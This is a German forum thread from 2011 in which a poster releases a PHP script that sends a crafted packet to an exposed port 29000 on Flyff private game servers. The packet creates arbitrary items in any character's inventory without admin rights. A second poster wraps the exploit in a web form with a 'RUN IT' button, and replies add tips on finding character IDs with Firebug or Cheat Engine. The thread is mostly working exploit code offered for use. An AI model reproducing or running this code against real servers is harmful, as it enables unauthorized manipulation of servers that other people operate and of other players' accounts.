[RELEASE] Jedes Item auf einem Server machen!

04/25/2011 02:40 yannickminecraft#1
Hallo Elitepvpers

Mit dem folgenden PHP-Script könnt ihr jedes Item Ingame erstellen auch ohne GM Rechte (sogar wenn es nicht euer Character ist).

Der Server muss aber den Port 29000 offen haben. Gibt dazu das in eurem Browser ein [Only registered and activated users can see links. Click Here To Register...]
Kommt Warte auf antwort.. oder ein angebot zum Downloaden dann ist er offen!

PHP Code:
<?php
$Server_IP 
'127.0.0.1'//Hier die IP des Server's
$m_idPlayer = (INT)1//Eure ID eures Characters ohne 0 am anfang!
$ItemID 26456//Die ID des Items (kann man in defineitem.h) sehen
$ItemCnt 99;// Die Menge die in euer Inventory gesetzt wird!

$socket socket_create(AF_INETSOCK_STREAMSOL_TCP);
$packet pack("VVVVV"01$m_idPlayer0$ItemID$ItemCnt) . str_pad(""24' ') . pack("V"1);
if(
socket_connect($socket$Server_IP29000))
    
socket_write($socket$packetstrlen($packet));
socket_close($socket);

?>
Wenn ihr wollt mach ich euch noch ein Tutorial wie ihr via Cheat Engine eure eigene Character ID herausfindet.

Hoffe es bringt euch etwas und den Server betreibern damit diese endlich mal port 29000 zumachen.


VideoTutorial?

Hier!
04/25/2011 07:45 Korbinian#2
Schon jemand getestet ob es Funktioniert?

Ja ein Tut wie man viy CE deine Char ID herrausfindet wäre sehr hilfreich, Danke.


Grüße Wolf
04/25/2011 08:06 skuffskuff#3
mach ein Tut dazu und es gibt ein Thx. °-°
04/25/2011 09:27 Yokomi#4
Char id geht auch via votepanel und firebug

shit, xampp installen, auf free webspace gehts net

EDIT: schnelltut

Ladet euch firebug, loggt euch auf der flyffhomepage ein sodass ihr irgentwo euren characternahmen auswaehlen koennt(und ein item an ihn schicken koennt,z.B donateshop oder voteshop) , dann rechtsklick und element untersuchen. da sucht ihr dann euren charnamen und in der naehe steht die char id
04/25/2011 09:43 Korbinian#5
Yokomi wenn du mir kurz erklärst wie ich meine Char ID herrausfinde könnt ichs auf anderen servern testen ;-)
04/25/2011 10:01 Yokomi#6
Hier mal ne liste wos net geht:
Insanity
Damned
04/25/2011 11:12 kurdo111#7
Wie genau setzte ich diesen PHP-Code um?
Einfach eine Textdatei und dann mit endung .php?
04/25/2011 11:35 TeeH#8
Also kannste genaues tut machen?

Wie man son teil erstellt und wo man das einfügen muss?

Und klappen diese Teile Ingame dann auch? Also kann man sie dann benutzen?
04/25/2011 12:05 .Crank?#9
mach mal bitte ein video, wie das gehen soll :D
04/25/2011 13:05 Profi1997#10
flyffpolizistin hat recht!

mach mal bitte ein Video TuT
04/25/2011 13:37 Yokomi#11
wer das net hinbekommt,der sollte es ganz lassen.
PS@ yannick, habs mit cheat engine hinbekommen,danke fuer den tip
04/25/2011 13:41 Tolux#12
PHP Code:
<style type="text/css">
body,td,th {
    color: #0F0;
    font-weight: bold;
}
body {
    background-color: #000;
}
</style>
<center>
<form name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
  <p>&nbsp;</p>
  <p>Server-IP<br>
    <label for="server_ip"></label>
    <input type="text" name="server_ip" id="server_ip"><br>Charakter-ID (ohne 0 am Anfang!)<br>
    <label for="m_playerid"></label>
    <input type="text" name="m_playerid" id="m_playerid"><br>Item ID<br>
    <label for="f_item_id"></label>
    <input type="text" name="f_item_id" id="f_item_id"><br>Item Anzahl<br>
    <label for="f_itemcount"></label>
    <input type="text" name="f_itemcount" id="f_itemcount">
    <br><br>
    <input type="submit" name="do_it" id="do_it" value="RUN IT">
  </p>
  <p>&nbsp;</p>
  <p>Main-Code/Hack by Yannick<br>Script/Template by ~Noah~</p>
</form>

</center>
<?php

if (isset( $_POST['do_it'] )) 
{
  
$Server_IP $_POST['server_ip']; //Hier die IP des Server's
  
$m_idPlayer $_POST['m_playerid']; //Eure ID eures Characters ohne 0 am anfang!
  
$ItemID $_POST['f_item_id']; //Die ID des Items (kann man in defineitem.h) sehen
  
$ItemCnt $_POST['f_itemcount'];// Die Menge die in euer Inventory gesetzt wird!
    
  
$socket socket_create(AF_INETSOCK_STREAMSOL_TCP);
  
$packet pack("VVVVV"01$m_idPlayer0$ItemID$ItemCnt) . str_pad(""24' ') . pack("V"1);
  if(
socket_connect($socket$Server_IP29000))
  
socket_write($socket$packetstrlen($packet));
  
socket_close($socket);
}
?>
Habe das schnell mal zusammen gebaut , ist zwar nicht getestet aber da der Code ziemlich simple ist sollte es funktionieren.
Für den der es brauch , Have Fun
04/25/2011 13:58 Pixelfehler#13
Geht das bei Dragon Cross??
04/25/2011 14:22 schnewin#14
Quote:
Originally Posted by Tolux View Post
PHP Code:
<style type="text/css">
body,td,th {
    color: #0F0;
    font-weight: bold;
}
body {
    background-color: #000;
}
</style>
<center>
<form name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
  <p>&nbsp;</p>
  <p>Server-IP<br>
    <label for="server_ip"></label>
    <input type="text" name="server_ip" id="server_ip"><br>Charakter-ID (ohne 0 am Anfang!)<br>
    <label for="m_playerid"></label>
    <input type="text" name="m_playerid" id="m_playerid"><br>Item ID<br>
    <label for="f_item_id"></label>
    <input type="text" name="f_item_id" id="f_item_id"><br>Item Anzahl<br>
    <label for="f_itemcount"></label>
    <input type="text" name="f_itemcount" id="f_itemcount">
    <br><br>
    <input type="submit" name="do_it" id="do_it" value="RUN IT">
  </p>
  <p>&nbsp;</p>
  <p>Main-Code/Hack by Yannick<br>Script/Template by ~Noah~</p>
</form>

</center>
<?php

if (isset( $_POST['do_it'] )) 
{
  
$Server_IP $_POST['server_ip']; //Hier die IP des Server's
  
$m_idPlayer $_POST['m_playerid']; //Eure ID eures Characters ohne 0 am anfang!
  
$ItemID $_POST['f_item_id']; //Die ID des Items (kann man in defineitem.h) sehen
  
$ItemCnt $_POST['f_itemcount'];// Die Menge die in euer Inventory gesetzt wird!
    
  
$socket socket_create(AF_INETSOCK_STREAMSOL_TCP);
  
$packet pack("VVVVV"01$m_idPlayer0$ItemID$ItemCnt) . str_pad(""24' ') . pack("V"1);
  if(
socket_connect($socket$Server_IP29000))
  
socket_write($socket$packetstrlen($packet));
  
socket_close($socket);
}
?>
Habe das schnell mal zusammen gebaut , ist zwar nicht getestet aber da der Code ziemlich simple ist sollte es funktionieren.
Für den der es brauch , Have Fun
Tolux, dein Nickname kommt mir irgendwie bekannt vor. ;o Kann es sein, dass du früher irgendeinem deutschen P-Server gearbeitet hast? Gew oder sowas? xD

@yannick, nice script, werde ich mir mal genauer angucken. ;O

MFG
04/25/2011 14:26 Tom94#15
Quote:
Originally Posted by schnewin View Post
Tolux, dein Nickname kommt mir irgendwie bekannt vor. ;o Kann es sein, dass du früher irgendeinem deutschen P-Server gearbeitet hast? Gew oder sowas? xD

@yannick, nice script, werde ich mir mal genauer angucken. ;O

MFG
Das war dieses GFEW (german flyff emu world) Zeugs.

@yannik
Wird aber mal Zeit dass das jemand released.
Nur blöd dass die meisten Server sowieso nur die nötigsten Ports öffnen. :)